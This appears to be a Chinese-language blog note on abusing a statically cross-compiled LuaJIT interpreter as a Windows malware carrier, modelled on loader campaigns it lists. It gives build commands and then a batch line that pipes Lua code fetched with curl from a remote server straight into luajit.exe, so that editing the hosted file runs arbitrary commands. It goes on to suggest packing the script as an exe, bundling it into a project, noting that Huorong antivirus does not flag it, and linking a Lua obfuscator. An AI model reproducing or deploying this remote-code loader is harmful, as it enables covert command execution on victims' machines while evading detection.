类似的载体攻击
- Windows | 利用Lua加载StealC v2窃密攻击活动分析
- 致命分身 | FakeGit 伪造开源生态投毒活动追踪
- GitHub托管的SmartLoader——伪装成合法项目感染用户
- PoetRAT:针对阿塞拜疆公共和私营部门的恶意软件不断演变
- Redline Stealer:一种新颖的方法
- Notepad++供应链攻击——未被察觉的执行链和新型入侵指标
LuaJIT
从github下载并编译,直接在根目录使用make编译:
- Luajit
-
https://github.com/LuaJIT/LuaJIT
我是在Linux系统上交叉编译成windows的exe,以下示例均是Linux:
编译示例
# 安装编译工具链
apt install mingw-w64 mingw-w64-tools
# 交叉编译(在项目的目录里)
make HOST_CC="gcc" \
CROSS="x86_64-w64-mingw32-" \
TARGET_SYS=Windows \
BUILDMODE=static \
TARGET_DYNLIBS= \
STATIC_CC="x86_64-w64-mingw32-gcc -static" \
TARGET_LDFLAGS="-static -Wl,-Bstatic -Wl,--whole-archive -static-libgcc -static-libstdc++ -Wl,--no-whole-archive" \
CROSS_CFLAGS="-static -fno-use-cxa-atexit"
# 检查 DLL 依赖
x86_64-w64-mingw32-objdump -p src/luajit.exe | grep "DLL Name"
# 理想输出应该只有:
# DLL Name: KERNEL32.dll
# 不应该有:lua51.dll 等
# msvcrt.dll 是 Windows 的 C 运行时库,几乎所有 Windows 2000 后系统都自带。
放到 Windows 运行

# 命令行运行
luajit.exe a.txt
# 不一定是文本txt,是个文件就行 a.md a a.c a.h 等等

利用方案
方案一,本地主动连接
使用bat脚本
curl -s http://*:*/a.json | luajit.exe -

这样每次执行就访问http://*:*/a.json一次
通过修改a.json文件,执行命令

将bat打包成exe

luajit.exe和bat脚本放在同一个项目里

火绒无报毒

其他
#lua混淆
https://wearedevs.net/obfuscator
#反混淆
https://github.com/0x251/Prometheus-Deobfuscator